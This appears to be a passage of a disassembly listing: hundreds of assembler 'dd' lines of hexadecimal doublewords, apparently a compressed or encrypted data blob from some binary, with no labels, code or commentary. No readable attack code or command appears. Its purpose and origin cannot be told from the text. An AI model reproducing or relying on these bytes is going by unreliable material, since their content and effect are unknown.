		dd 5688E8EDh, 0FA00D6D8h, 0FDDE0CE0h, 6FD703CFh, 0F8830985h
		dd 71987B34h, 6900E22Dh, 0B3BE287Ah, 32BAD0Ch, 0AC33E1Bh
		dd 49B3CF7Dh, 2F027BB8h, 0C081931Dh, 6FE23140h,	1F1D855Bh
		dd 0A4C52274h, 297E0064h, 93B97846h, 52182000h,	68FA723Eh
		dd 51220415h, 90749497h, 0C09A7160h, 0D701E500h, 35FFE486h
		dd 0F84773Ch, 902CE257h, 50C4765h, 0C03EC5FCh, 0F7D18DDh
		dd 7F81F07h, 0E680F7DFh, 31BE36Fh, 978D8799h, 0B6B08676h
		dd 5800EC3Ch, 8E7D3848h, 1E64C7Fh, 35E70429h, 0D0D316FFh
		dd 6100EC0Eh, 42BC6333h, 1F9D8B69h, 0C0212D0Fh,	32C24FFDh
		dd 510FDB67h, 2079053Ah, 9341A577h, 9FA71E40h, 9E8980EBh
		dd 42CFE11Bh, 70B06303h, 0D5DA4115h, 5B3A9892h,	9CB3018Ch
		dd 34BA493Fh, 9009AB28h, 19E4B1Bh, 5636B10Fh, 0DFBF9050h
		dd 857332h, 0D4D00AC8h,	0FAE662FEh, 0E635204h, 58D0F98Ch
		dd 0FF3897h, 1296E9EEh,	187CE0E6h, 9FF88600h, 0F08B60Bh
		dd 41871F57h, 282067C9h, 0C69EC38h, 9A26AC00h, 0E1239BA4h
		dd 0EEC70018h, 61FB4C55h, 0C4390D81h, 0CEE00916h, 4B0E01CDh
		dd 1FEDFA67h, 3BECF8h, 0F903D061h, 70712034h, 0B652B00h
		dd 0B9BD23D7h, 0B51A00C7h, 0AD33AF61h, 0FE0E366Ch, 0C04ED83Ch
		dd 0A0CDF0Fh, 0DBCA00A2h, 82903F09h, 9400DA4Ch,	0EB275A84h
		dd 271EAB1h, 6486049Eh,	9CA0FD4Dh, 0D5679B01h, 0C563DE00h
		dd 1AB4A1A5h, 385DF8EAh, 50F9F428h, 12AFA44Bh, 99208680h
		dd 0ECA3C984h, 0FC009D3Fh, 7945478Eh, 2669C242h, 60E0BCh
		dd 0CCD74867h, 750A7384h, 0BC7DADA9h, 80AAF889h, 53A23660h
		dd 409103B2h, 8A3AAD78h, 957B38F8h, 85412D04h, 490E717h
		dd 21F789h, 60AFB1E9h, 0E21AEEA8h, 0B96D68C0h, 1DFCF5Bh
		dd 0DD8E19C0h, 0A431F910h, 0F101E064h, 0FD6F4151h, 4007C68h
		dd 0B56C038Dh, 0C0B261Ch, 0A27FC9B7h, 442E1440h, 405FC4h
		dd 0F61A078h, 592EDE4Dh, 0DC8018A1h, 7C85897Eh,	68A90088h
		dd 0A20811Fh, 0B0A8DF2Eh, 0BA257AE9h, 80D80094h, 0F6C9ED62h
		dd 2025616Ch, 0D855E34Ch, 0BE004D75h, 4EE6E72Fh, 4540A3h
		dd 2602A77Eh, 96D22D05h, 0C19E9900h, 9889B97Ah,	876A0034h
		dd 5CF06263h, 5EE6D639h, 0FFF3B83Dh, 0F7D07600h, 47162933h
		dd 5B7D0B97h, 1A820639h, 0AC0B1D8h, 2479E0BFh, 8EF2AD3Ch
		dd 0A5784Dh, 30FE25D4h,	2261006Fh, 0B0A397EDh, 0B200D6C7h
		dd 1B3E8D59h, 3F55A81h,	97610776h, 313C4655h, 0FC0681DBh
		dd 0D5E92035h, 59AF0E60h, 0C0474F3h, 0D792BEECh, 0F72540D4h
		dd 531391B5h, 4E0049F4h, 75C448D2h, 3AB90EEDh, 3F809C1Ah
		dd 0F7A45113h, 8308116Fh, 90C35412h, 8B73D3h, 99A92FDCh
		dd 48329868h, 3F09DF74h, 6880C025h, 503ED79Ch, 0F992C7h
		dd 1A6808CAh, 0E3A08746h, 0BA196D03h, 0BA0385AEh, 9994600Ah
		dd 6074025Ah, 0F2ACF830h, 2CCB1843h, 6823C92Eh,	8E566240h
		dd 99460040h, 0D30A7395h, 0F0009C12h, 0C3286AB2h, 2493DA6Ch
		dd 3E005E36h, 73AEB600h, 7BE6F77Ch, 7FEB0F0Fh, 1FC2E0B9h
		dd 0F08E5D0h, 0F9A7681Dh, 11CC40FFh, 594C3D4Fh,	311DF47Dh
		dd 330F3674h, 4DD80151h, 0BBFBD7A0h, 9A07E829h,	0C1200E44h
		dd 0A9C08A5Dh, 6CBE0C9Bh, 7B3CB100h, 5954F297h,	68B60086h
		dd 9ECF17FAh, 0C8021AF3h, 5E14CE9Fh, 1DC8FBCh, 0D3E7422Ch
		dd 13498800h, 4A82F600h, 9C81F710h, 2E257416h, 672A50h
		dd 0D4382D9Fh, 95389A48h, 0DADC8BF0h, 93AC09CCh, 0A880E5B0h
		dd 281F89A6h, 10DC8A57h, 0B07DBD4Dh, 0EE3DD711h, 82D91C5Ch
		dd 879C40F9h, 0F526C494h
		dd 63744500h, 4D3E3FDEh, 85AD00B0h, 8C99FF73h, 51009DEDh
		dd 0CD095019h, 986274h,	60E12463h, 0C9ECDC72h, 0AC4BC500h
		dd 851A8FDEh, 54AE00C2h, 0F93D7948h, 52005B13h,	1056393Ch
		dd 38B0715Ch, 628120CBh, 6EEB269Ah, 19EF3078h, 8033B200h
		dd 1FA5F4DAh, 0F49D75A9h, 96200152h, 0C3848E54h, 1B38E045h
		dd 4700C473h, 0F87AFAE2h, 0A9DED3h, 95E9160Bh, 9EB337FDh
		dd 71D92300h, 0DBDC3883h, 7FFAB0D5h, 9EFF81Dh, 0DF74758Ah
		dd 5FD77840h, 3998501Fh, 0B67AFE80h, 7CDB6Ch, 0C5F37716h
		dd 0A82ED208h, 15E06F7Bh, 78A14601h, 5B8EB21Ch,	0F46C60h
		dd 0BD953671h, 0DBFBD46Bh, 0B2B030E9h, 1BDFBB3Ch, 0E7115897h
		dd 0E7B3A380h, 5E40A0A0h, 22833E91h, 242BD780h,	4317D4C7h
		dd 0C80B3B07h, 0DFA487h, 1E2ABE0Eh, 356600FCh, 371F2EACh
		dd 30C5271Ch, 281FE106h, 3CC76397h, 64048680h, 3FA9A0C0h
		dd 0BEC3244Bh, 38169844h, 7A14251Ch, 90CCC48h, 0C3371A3Ch
		dd 0DF0BE030h, 73A13AB7h, 520B629h, 0EC5204h, 65908DFBh
		dd 8100362Ah, 0BC4CA05h, 0EE24539h, 7D42DA6Ah, 0DEA15C20h
		dd 0EFC4BF6h, 72546B00h, 0CB577788h, 26A30080h,	619C60ADh
		dd 0C933EB89h, 0F490C879h, 1F74A740h, 69131E02h, 96193438h
		dd 2180A808h, 551F4C46h, 4100997Ah, 0EC361E69h,	5A150C5h
		dd 0AA259C64h, 232C2FEDh, 957501BEh, 813E0551h,	0E5095939h
		dd 0BD21B78Ch, 64F2C4h,	1231E24Ah, 82B61A0Dh, 1F70A067h
		dd 7748759h, 1F65970h, 681DE6FAh, 15A4618Dh, 6C3FDCE6h
		dd 0A800D4BEh, 0EBAC0A70h, 2898A7D7h, 8DBB4803h, 0F18715D9h
		dd 0E064CA04h, 0EE2A03EBh, 0DF7BB3B0h, 92434A89h, 40C0C308h
		dd 0FF1276h, 4D72071Ch,	5CF2B532h, 1A80EF60h, 0A1A8F868h
		dd 6F187B2Ch, 0B323EE75h, 212F1843h, 0EE01170Bh, 63B96913h
		dd 6CF056DAh, 0C41274A1h, 0ADDC58h, 8FF1C7B4h, 0EC4700F8h
		dd 0EF06B66h, 3800F605h, 0E1A304FEh, 0FC079ADh,	3D1C2D47h
		dd 67DE07F3h, 0B499050h, 0ED00E731h, 9A6180C3h,	0E20AA055h
		dd 2FEE0074h, 8BCB4241h, 2638385Eh, 864B80A3h, 13B13294h
		dd 8BF00FCh, 3955642Bh,	0C000F26Bh, 0C49CC16Eh,	0B8FB48Ch
		dd 8928F791h, 61066980h, 0F003EAC5h, 5822748Eh,	1F8288D8h
		dd 1C040059h, 0F873CF93h, 0F20032D1h, 63972ACCh, 1A634h
		dd 92C39A74h, 0E3C2610Bh, 0FC0411D0h, 41356003h, 6192EE95h
		dd 16BCA600h, 5C0D32CCh, 0EAED0034h, 0DDE08355h, 98008DE8h
		dd 56B81162h, 2296B6h, 90DF196Eh, 78D42586h, 61004CFAh
		dd 0C6474BD5h, 0FE167074h, 91AA0744h, 0B08FBE84h, 80948948h
		dd 77C3EC00h, 27CE1CEh,	0F210675Eh, 9DD31C9h, 5C2880C7h
		dd 0A90C74F8h, 23991CABh, 0BE81C03Dh, 30319D52h, 0A1775F00h
		dd 93AC662Fh, 40C3B17h,	0DD18F880h, 0EA473A90h,	0A225103h
		dd 8C59F7B9h, 0A6FE17C0h, 72A78E4h, 11163C49h, 677C9341h
		dd 0D00B7DB0h, 7FD65A00h, 0E88AA3F0h, 0CB89Dh, 0BD1E3637h
		dd 3A4FAE83h, 88032100h, 50B9025Fh, 8F770020h, 3684FA46h
		dd 1AF894F4h, 0C5C2E400h, 9D823339h, 3F4D007Ch,	9C881B92h
		dd 9100169Ah, 0D514B518h, 0C0732EA6h, 6E790F20h, 300D980h
		dd 107D9B0Dh, 0F2DED6C5h, 8BF221h, 0E0C373FBh, 0BFE50895h
		dd 6DAF1807h, 48F00EE1h, 0B8858E7Bh, 9EE8DDh, 4970FE8h
		dd 4C6BE4BDh, 0FB013F77h, 1551ABAh, 20D454B8h, 890DCh
		dd 9791AD14h, 0E7B5E6C1h, 2B0080D2h, 6BE25C2Fh,	25522458h
		dd 69CE4020h, 6F003C9Fh, 772998FDh, 0B2CD2CBh, 86B0E0FCh
		dd 79250200h, 135C288Fh, 66A207D4h, 0D1C052E3h,	7C4FEF7h
		dd 6C8896F2h, 493350D4h, 970066C0h, 0EADFA38h, 0F5BC48h
		dd 1E8CB370h, 10DD1FB9h, 0FC1C69E8h, 83C06C31h,	4779782Ah
		dd 59F400A3h, 0C90995B3h, 0C5069E55h, 0E903EE98h, 0E21A06C8h
		dd 9882BEE6h, 0F07CAF00h, 1D43F1B8h, 3B913F9Ch,	0CF81D8E1h
		dd 3185DC5Eh, 30308975h, 0ADCB40E4h, 941A0307h,	9F437860h
		dd 0D6A98EC0h, 0BA80D700h, 8B516E0h, 0A21A00C3h, 764DBC68h
		dd 4302C62Fh, 90A99F82h, 9A00D59Dh, 0C52641B6h,	9503F3F4h
		dd 0F27C0674h, 0F5680034h, 6979AB1Bh, 52155A8Dh, 2AB8BF80h
		dd 0DC007CC5h, 10BC9D63h, 1F72288Ch, 0C07CEAFEh, 5C9FBB9h
		dd 45EAF1A9h, 1855DF00h, 0C253D010h, 0A48300BEh, 44F62BAFh
		dd 0D65F3891h, 82D283h,	0B840F518h, 0E97FABF8h,	854D6CFEh
		dd 0F05818h, 0B78FC7F6h, 1DBC981Ah, 80A2F943h, 68D70846h
		dd 140083E1h, 30327E48h, 277CE902h, 0E05D6BD9h,	0C0941911h
		dd 0FD270DE8h, 581E04CFh, 4B81C7FAh, 5D52252Dh,	0B28FC0h
		dd 47559D19h, 0F0FE3DDDh, 0A26C2100h, 0E76BC0D5h, 1D97CF3h
		dd 86E82059h, 30417E1Dh, 760F64B1h, 4C03B6B8h, 93836h
		dd 625C6BBBh, 4E05DA5Dh, 0E6AF1701h, 0F9ED7E94h, 6C2AF4h
		dd 6DDB6EEFh, 7993D751h, 44E35901h, 6BA2507Fh, 331ABC40h
		dd 5FAC0325h, 0B0E15E7h, 68144088h, 1E9C3E07h, 0ACD78EF5h
		dd 907EB0E3h, 4483EBh, 9B8529F0h, 56BB7416h, 2BAB7D00h
		dd 8AC2B466h, 7BCC0086h, 0EB4A9BCAh, 8C00A807h,	0DC1D3A08h
		dd 0F3FCB7h, 3011A58Eh,	8F6AD227h, 0FDDED000h, 0FEE675F9h
		dd 702C00C7h, 87693EDDh, 0FF004C25h, 8B0A374Eh,	0B87FF1h
		dd 0D2FE8DAEh, 0C76ED379h, 3A4AE4A8h, 3498D11Fh, 92FC80F9h
		dd 30BC6793h, 523D00A2h, 9027BF4Dh, 0C5009CF4h,	0C3A9472Ch
		dd 244E263h, 6CD3E0D6h,	4DE0BDE4h, 401F1EAh, 509FBE75h
		dd 0F8F4F7D4h, 16DB0096h, 0C890577h, 0E372DC0Dh, 7A4A9E0Ah
		dd 4814A875h, 0CB990098h, 419C7F1Dh, 0CD290193h, 3F4F0E38h
		dd 1EFEFC46h, 0CB272400h, 3E8949BAh, 0FC6404BFh, 80EEF304h
		dd 2BA51220h, 0E5C25502h, 8025DB4Ch, 685DE794h,	2A9D3A1Ah
		dd 9C708981h, 30BAC1CDh, 0FA1CA367h, 1FC0514Dh,	298460Ch
		dd 0EE2C00BFh, 1BB5304Bh, 0F9FC1CF1h, 0D50A8201h, 8C9E4891h
		dd 4FAD7F4h, 0BD73FDE7h, 6F7F83F3h, 0C07E1109h,	0CC00A0E2h
		dd 0E91417h, 0C8B88B1Ah, 3EE80A64h, 0D100D57Ah,	0BC1E8554h
		dd 393BE18Dh, 0AC87748Fh, 2361592Dh, 26900E4Eh,	7000D5ECh
		dd 8E135686h, 71C088Fh,	4623EFADh, 19762040h, 0B026B57h
		dd 0B1F8AAD9h, 801C63EDh, 87E954h, 9AEB7113h, 0FFEEF524h
		dd 706A7C60h, 14BFB4Fh,	0CAB043Bh, 80B11F75h, 7CF62E18h
		dd 241FFA8h, 30FEA59Bh,	0DFC02A46h, 0CC1EEB88h,	0E601F5C1h
		dd 0F9D09207h, 5E0051BFh, 0FA906E83h, 3B009C38h, 0FDA01711h
		dd 0A3712Eh, 70A10F61h,	0FAB13CF2h, 0ED038700h,	7DE78CFBh
		dd 50852C34h, 0B70A0139h, 30E404EBh, 5900E05Bh,	45B5D763h
		dd 77A188h, 224EA31Ch, 16E7EB7Dh, 2C4B4Dh, 62A1D553h, 0B8114FB9h
		dd 0C6950430h, 0D0CD83E5h, 0A4D31D98h, 488BCC30h, 2C2120DFh
		dd 201191h, 0FA92339Eh,	9C006E9Bh, 6A588BF3h, 0EF578A1h
		dd 234EB4C6h, 19B0C19Ch, 0E83AE0A8h, 3007915h, 728802E1h
		dd 12FFADEh, 0EB3645D3h, 7E3C042h, 3715E50h, 0ED0407B0h
		dd 0D0B5E0B8h, 70254D63h, 0F500BCBAh, 0C966C78Bh, 806B28A6h
		dd 0BC631F24h, 0E0716820h, 5D93CAh, 3DA3B2E2h, 34C8DF28h
		dd 0CB006BE2h, 1F39F6EBh, 1029046h, 8BE61763h, 214507CFh
		dd 95208075h, 0D7839FC9h, 4350C04Ch, 0D2D17024h, 5178626Ah
		dd 2990BB02h
		dd 0D45C6063h, 6DC20B12h, 0B400EE24h, 191C04B7h, 0EDE48014h
		dd 0E30A7982h, 64274D65h, 7C45EB0Ah, 81BC4609h,	6D23A552h
		dd 7CE54731h, 0F7D9F8h,	0F8FB38BAh, 0E6A7E16Ah,	0F33B3C1Fh
		dd 80875200h, 791214FFh, 0F92C0EDBh, 0B40262Fh,	0D0130D5Bh
		dd 0D4CC6F00h, 1F775491h, 70E67C1Ah, 64F6002Bh,	145BA7BAh
		dd 28EEEF30h, 690C9600h, 77877645h, 904400B1h, 0FFD7DCF7h
		dd 6A3CA862h, 411084F8h, 0BB8730A2h, 732008F0h,	947F2839h
		dd 0FBF0789h, 51ABC95Eh, 0F424426Eh, 625036D7h,	0DB606487h
		dd 8E0BE1F1h, 84230C54h, 0E9FED0F6h, 4AEBF40Ah,	2C809052h
		dd 9F0E3ACCh, 206D0FCAh, 3FDF2Ah, 229A9D87h, 4C0EC73Dh
		dd 0D64E27h, 1B58723Fh,	0CCF2007Eh, 0FC0C6326h,	6918B5C4h
		dd 0D279C107h, 92100061h, 380F62D4h, 0D700EEC2h, 0A0BFA605h
		dd 7861E66Ch, 34F91FB7h, 4A820096h, 0C0E9B9BDh,	809D7200h
		dd 9C6D8BF2h, 0A847032Bh, 64F5D2DCh, 23E063FAh,	74002F43h
		dd 0F29941ABh, 76CF4EDDh, 0F820B2F5h, 395F0037h, 230AC6A3h
		dd 8500673Ah, 870D07F1h, 75297C47h, 13897BE1h, 0E398359h
		dd 0D086826Bh, 0CF2E2086h, 0BE009856h, 53B8D99Ah, 2E3603E2h
		dd 3F39EC03h, 87BD9980h, 5EEB8D1Eh, 9C474A70h, 0E4C8002Ah
		dd 0A22E32A6h, 297441FCh, 7A214860h, 0F6C4C913h, 87100063h
		dd 0BA8A8C3Ch, 0F307032Fh, 0FB897C56h, 0ACD85D10h, 0D57706C1h
		dd 417DBD98h, 0FC8D8614h, 0C86F8238h, 29C441DBh, 20B03852h
		dd 28C81079h, 99C1A900h, 0BDB2A0A3h, 0E0FEA9Ah,	87FC414Ch
		dd 80EBBBA7h, 843A3036h, 0CB18C878h, 8610263Fh,	0E3914812h
		dd 7FD96D00h, 0B6F9AB88h, 3C3810C0h, 3A7AE6h, 0E8DCFEF1h
		dd 0D999399Fh, 1907F900h, 0EA5C2071h, 753C0074h, 541A2AC9h
		dd 6300A647h, 4A5DDD6Ah, 0B8DAE3h, 0C2F53F28h, 0D7F3ACB6h
		dd 344F403h, 8B335Fh, 5BEFE7A4h, 0F7A5EC47h, 79D41900h
		dd 0F5830B95h, 0FCEA00CFh, 17B0CA23h, 400642Ah,	69AC1681h
		dd 1367D1h, 9ACD8F44h, 0C22D3D6Dh, 1FCC0C07h, 4F106807h
		dd 37B741h, 3519971h, 478B62AAh, 0CFE58h, 6AF96F66h, 126C50Bh
		dd 0BEC3FABAh, 0E8D351EAh, 0BB0FDF61h, 83E577AEh, 78E66EC6h
		dd 0C1621420h, 93A18E1h, 4C0B2E58h, 6480A158h, 0A6445F81h
		dd 0C878E800h, 0B2A9E7B9h, 61462C66h, 0B7D300FAh, 9EFEEA38h
		dd 534B4F00h, 82E1B078h, 14B153A0h, 0CFCD54C0h,	5F1D6670h
		dd 0C5DD799Bh, 0EEE5EF00h, 0F8626D11h, 0D06B625Dh, 0F6867078h
		dd 0DE07C1BFh, 97293994h, 0A9C77E43h, 1AD17123h, 1D632180h
		dd 0D0E98F38h, 0BDD4A600h, 0A20DEA1Fh, 0C14200B6h, 477C6D10h
		dd 60C56EA1h, 80188DD6h, 86BA8C68h, 2D399007h, 64D8F497h
		dd 19674002h, 0FCD6523Bh, 219A39BAh, 0A591700Ch, 892EBE21h
		dd 6C1AE4FAh, 877C4011h, 0D8EA02C9h, 90D2D3E6h,	21C02BF0h
		dd 0A786AE2Eh, 0D1B800DCh, 0B387B534h, 0EC05600Eh, 0FBE9AB09h
		dd 5665DC40h, 288E70B8h, 6F0BB3Fh, 4421BC39h, 0E50020C1h
		dd 33ACC9E3h, 0EC3D259h, 0CC6240F9h, 1E1E88Ch, 55ACD600h
		dd 0DE170D33h, 67F5309Bh, 46652089h, 9E011C07h,	3D207084h
		dd 1EE9815Eh, 45B61369h, 808B36Eh, 0CAC01E3Ch, 215936ACh
		dd 0AA91CC7Ah, 0ACD3040Eh, 9DEB9C60h, 0BCA05260h, 59281754h
		dd 9B02C85Bh, 337640B0h, 7BF6E024h, 28FA57h, 79678C8Ah
		dd 0F5E1A3F2h, 6740E00h, 0F9FAFC34h, 147102BDh,	24A53150h
		dd 2CDFA560h, 0CE425B0Fh, 99BB0E67h, 0F0DC9810h, 68260329h
		dd 80389C89h, 210B0830h, 1FF04F7Bh, 0E6FA58h, 0D129A2F9h
		dd 3A3EA401h, 0CEB80790h, 0DE2623CCh, 9670230h,	77A70CC9h
		dd 95F4A4E0h, 4B8B5F0Eh, 0B043802Eh, 0B75265Ch,	4CA52230h
		dd 441CDD83h, 1C29823h,	2628F068h, 89711870h, 0E8F0F07Ah
		dd 7291E200h, 49D699BEh, 2C90C143h, 0D4892106h,	461C8E1Ah
		dd 4484C7F1h, 2B87AC69h, 6B0C6C0h, 305A6F18h, 86BDFB00h
		dd 0FD009077h, 9F38A6ACh, 1366EAh, 0E030E2EBh, 5AD1C637h
		dd 0C43F880Ch, 712694Fh, 0EBC7FAF1h, 98005F5Dh,	0ED976CDBh
		dd 69D69A16h, 96570000h, 53370Dh, 99F8B9A3h, 0C3C1122Dh
		dd 6EB8C8C0h, 0E36FED4h, 5DDF303Ah, 0A708692Ch,	533321C0h
		dd 70728FFEh, 0E53D0F80h, 39E46A4Eh, 0B0CE0131h, 8C50A320h
		dd 7AA615h, 3A91420Ch, 7828D7E9h, 0E725A200h, 68D5BCAh
		dd 8C39C537h, 0F09BC715h, 0B1C25DA7h, 1A087F65h, 6C6D8C40h
		dd 718B3F8h, 0CB06D755h, 0CCF61058h, 0DC60246Ah, 20D13DA1h
		dd 0E381C7A0h, 11EA9006h, 2A01FB3Ah, 6A280EEFh,	3180C5FCh
		dd 23B6AFF6h, 980162F9h, 0E6AE9305h, 406014E4h,	0D3380096h
		dd 4FE72003h, 7F30E55Bh, 9B2FB12Dh, 9E960063h, 3A37A5CBh
		dd 0E526E7C6h, 9117ACBDh, 6CCFB11h, 0AFA1C35Bh,	74D23708h
		dd 91AAC041h, 1F12E3F6h, 3C05859Eh, 0A406DD57h,	53A13EC3h
		dd 0CEE04CEh, 10A2C649h, 0C0177D20h, 0B1BB4018h, 1500BE52h
		dd 0EC93427Eh, 3A9D44h,	84202EB5h, 405A3FC4h, 2992F832h
		dd 0B0C02072h, 0AB05BD25h, 27C11946h, 0C0A8CD82h, 0DEE4CBh
		dd 859D0771h, 0A3A51CD2h, 996BFB00h, 51E2EED8h,	184B26DBh
		dd 163202D7h, 0BF800435h, 0A1BEDC39h, 0D0C30F00h, 23C85A8Eh
		dd 9D471C20h, 4E2D43C0h, 0A2F80E5Eh, 0F03F690h,	7F79F231h
		dd 58DDA055h, 8D85074Ch, 209F7A66h, 0C492B653h,	9885113h
		dd 3FCC8903h, 4D17B05Ch, 0CF56000Ah, 0E9A68DCh,	0B734275h
		dd 0C54B5D00h, 8BB7AB37h, 6DDE007Dh, 7688C816h,	0D53A7089h
		dd 5598080h, 0D2869531h, 0FB7D0232h, 0BC6E5BA3h, 0F035AF40h
		dd 20E0A700h, 0F9A63E1Ah, 0C518009Ch, 348B94B8h, 0A2787DF3h
		dd 5C330901h, 0AC8E4190h, 2A8040BFh, 7E6494A0h,	0E900AEABh
		dd 692FAF1Bh, 423929h, 0A6014E3Dh, 3551E307h, 1F00E8FEh
		dd 37EF3FC6h, 7D2A7E93h, 163E7BF7h, 0ECD84DFh, 0AEE0A26Dh
		dd 8E240D54h, 9C2D4103h, 0A0F826F3h, 0C6718Ch, 8207E2Ah
		dd 0B90485A5h, 0E001490h, 72323D43h, 322535Eh, 0E06A5B7Ah
		dd 81CCB618h, 30364724h, 2354251Ch, 0EF0092D4h,	1F8640ADh
		dd 0AE8963h, 78DB95F3h,	2E9610C3h, 0C13AFE00h, 347D185Dh
		dd 0DC246061h, 98507673h, 58A949h, 88D029Bh, 7DEDB59Dh
		dd 39CA02CBh, 0FE48683Eh, 0CFDFBB01h, 3F9D0F4h,	6F81A7A4h
		dd 2DC0A582h, 0D200D827h, 1C477F5Fh, 7C256BDh, 0DD64A03Fh
		dd 0B83933B6h, 0BFD58CC0h, 2E72C00h, 743A046Dh,	802A6080h
		dd 0F304B6Fh, 0A028DF6Eh, 429E0CB9h, 7EEFF820h,	28F1C7F8h
		dd 24C80060h, 9371D57Fh, 0C983040Fh, 80DC347Dh,	0DC3F86D6h
		dd 52A6034Eh, 9BCD857Ch, 0FF97D12Ch, 9545FB00h,	364F0EDh
		dd 0EE43C04Fh, 35DF81DEh, 8EA49705h, 0AB405E60h, 0D20189E3h
		dd 0C4FB26D0h, 9BE4CA49h, 0FAFD00DAh, 0ADDB269h, 86532590h
		dd 7CCA00B0h, 79E0D76h,	646EEA6Dh, 0E65988h, 0C017AEA0h
		dd 8CD9C103h, 8195DF9Dh, 1E0B861h, 0BC40BF41h, 0D9FA6Bh
		dd 99027562h, 7B95134Fh, 2DE4737Ch, 6C7639h, 0AC3AB398h
		dd 42A31Fh, 39E3FC1h, 729D4832h, 9081F629h, 0CC343980h
		dd 0C07C71B2h, 26E81860h, 0FC24B120h, 1EE260C6h, 9C68686Ch
		dd 885CA0B9h, 437A3121h, 0DC2E7168h, 0FC30A512h, 0AA835073h
		dd 0E79E051Bh, 0C70A3B7Ah, 0C61C0A1h, 97001934h, 562B31F0h
		dd 7B4D284h
		dd 42B781C1h, 2D92123Eh, 0DA44504Eh, 0C050991Ch, 0E3A8DFA4h
		dd 0F714350Ch, 24889045h, 9C53D2h, 0CFF7DB7h, 5C0DAB38h
		dd 72F775A1h, 6E9C98FAh, 0CCE1D077h, 2BF0075h, 1E941213h
		dd 7C002C58h, 46786536h, 3F7AFAEh, 41966DE1h, 8800AAB6h
		dd 8452263h, 29B575h, 0F21DCBBFh, 0C4AF6B32h, 0B8E2C098h
		dd 0D0FBFC75h, 7F544DE4h, 0E17609Ch, 4E01EFE8h,	1752517Ah
		dd 60CECh, 0F25C803Bh, 4B62C574h, 0B871A700h, 0F109C4F7h
		dd 18184D4Ah, 0C529EB22h, 96928034h, 0A85D00EEh, 0D0040FBCh
		dd 0B02158h, 304249D4h,	0D5B191h, 0EA5BBB16h, 0C13FFCA9h
		dd 8B1FDF00h, 0C7AF6A8Ch, 0D2D71D86h, 4273012Bh, 0F4A069CAh
		dd 0B008663Bh, 13BA3D8Ch, 865830ADh, 6099F25h, 20A6A7C0h
		dd 48BDC92Ch, 2749336h,	35099F62h, 0A700446Eh, 636EF3B1h
		dd 0F8562E91h, 0DB4C00E7h, 0AEC9AFDAh, 0D1492693h, 5044016Ch
		dd 6D6CA43Ah, 30BDE0h, 5FF1459h, 0C570833Dh, 0F3483CB0h
		dd 955E00A4h, 7166BF2Ch, 0A1B40056h, 9C226DDBh,	2E013F5Dh
		dd 0ADF68C8Fh, 90EB83AFh, 436FE6h, 0A338C011h, 7F4A16CAh
		dd 736DFD00h, 0FC338D29h, 922E0FF7h, 0F2E0B63Bh, 0D6828F0Dh
		dd 291E3CF2h, 3F87BBDDh, 0DA802798h, 384276h, 0BF7D44A0h
		dd 6BAC0378h, 0D125D228h, 1F306200h, 0A9AAA275h, 19D760E9h
		dd 64BB94EDh, 7C974802h, 0E89E7357h, 90DCB62Ch,	265FFE30h
		dd 80102682h, 5EC71B48h, 209AB49Ch, 870FCB00h, 0C64AC21Eh
		dd 9B620706h, 0DA2A8D12h, 0E8B67820h, 77EF9E05h, 0D85F13E5h
		dd 0E8A5A64Ah, 0C6538C80h, 92CADAh, 971D1083h, 0F87B4B86h
		dd 1BDAA01h, 412EED88h,	5BE3C0h, 0A24270F2h, 3C046749h
		dd 0D8004CE8h, 0B0A314F3h, 7F3A47BCh, 0A859588Fh, 50513C00h
		dd 0CA8B0865h, 913B4E03h, 132DD34h, 5E1B1A21h, 20DA7E39h
		dd 0EF49359Ah, 0DE3B84h, 5CF99C45h, 3B21C3CDh, 7CBE4FDAh
		dd 0E6B1F280h, 0C7EDD5FEh, 95A0509Ah, 0B000C51Fh, 847E3827h
		dd 5940977Dh, 8F89AC59h, 82BE8F02h, 0A16BDC68h,	78FB5B02h
		dd 80C53EFFh, 0E61CFB4h, 0B9AF685h, 2F99C9E4h, 0F11C6827h
		dd 6041B7A4h, 0FD240B48h, 0AC8EFCB9h, 914B2BE1h, 1877C234h
		dd 1399D209h, 0E1C80E86h, 7B3D5600h, 987831C1h,	0B33A71BEh
		dd 61E500CCh, 0AE27C48Bh, 9050AC00h, 51B11938h,	4A634830h
		dd 4244D201h, 202C355Dh, 473FBF0Bh, 0E2048297h,	60F79168h
		dd 0C3148Ah, 45B84222h,	0CC3EBCC2h, 0C8625300h,	1E40A316h
		dd 0EE78002Ah, 304D4723h, 2C609C13h, 55AC1C11h,	4B7B00B2h
		dd 9E7ACEE5h, 78002E81h, 22360DFBh, 0BFD937h, 975C691Dh
		dd 0CD44D725h, 0F2FFA500h, 0FB70F659h, 26749286h, 8EA07BE6h
		dd 0D3006E1Fh, 0A98ED14Dh, 0CF0BA605h, 0D44029FBh, 7B72B711h
		dd 94600122h, 0DA2630AAh, 6BD0895Ch, 0AAC894Fh,	12007CF4h
		dd 7B3E0558h, 845A59A0h, 9AFA1900h, 0FC56D0C2h,	9E6D9700h
		dd 8CAF7D5h, 0B1460002h, 0AB3DFE2Ah, 0F4E38DDh,	9779DC00h
		dd 265A45BCh, 1BCE9EDh,	7230DC2Ah, 0C05467EAh, 0AACA6019h
		dd 0D56100D6h, 81C25BDh, 0BE09AE7Bh, 38B3BFh, 0F159AF2Ch
		dd 1723004Eh, 20E556BBh, 0D90295A8h, 26F9BC88h,	12C4E5DBh
		dd 0DA24908Ch, 68055305h, 6037AB03h, 890F2C80h,	7579009Bh
		dd 71A9FC5Bh, 2092F04Ah, 0E83029F8h, 53B2836h, 980D00E6h
		dd 65D64E1Ch, 0F9330871h, 92DDD127h, 0B09C8052h, 0E4EA0551h
		dd 0EB1C13A9h, 4D9300F2h, 0CEDB3D5h, 34662300h,	0BD0DA045h
		dd 603E60D1h, 3A781F38h, 263DA092h, 2F7981C9h, 0A46507Bh
		dd 59FC84CCh, 14003CADh, 0F2B96ECh, 64DA2BCh, 0B8280044h
		dd 0A533DE97h, 61FE02B4h, 1697395h, 0CC5A98C0h,	0E52B1500h
		dd 6FF46C8Eh, 38A46725h, 0A08CC41Dh, 320C40D4h,	888D58C3h
		dd 0E0FC44h, 47B75D9Eh,	90BBF336h, 98348200h, 0D609C188h
		dd 964E0046h, 6BDCABECh, 0E89217F7h, 1C160A3Dh,	0A131B955h
		dd 0C1894EFEh, 0DC41538Bh, 0D0C8EEA0h, 0BCA89D01h, 28C08CDBh
		dd 6E622E8Ah, 7B40C02Ch, 0E987CF6Bh, 2432380Fh,	0D6188010h
		dd 3C6D52Ah, 30F11A7Fh,	0DC83E1EBh, 96C439D0h, 16F460FBh
		dd 7138D00h, 0F710C5E3h, 309A0046h, 0BC9E51E4h,	8A001753h
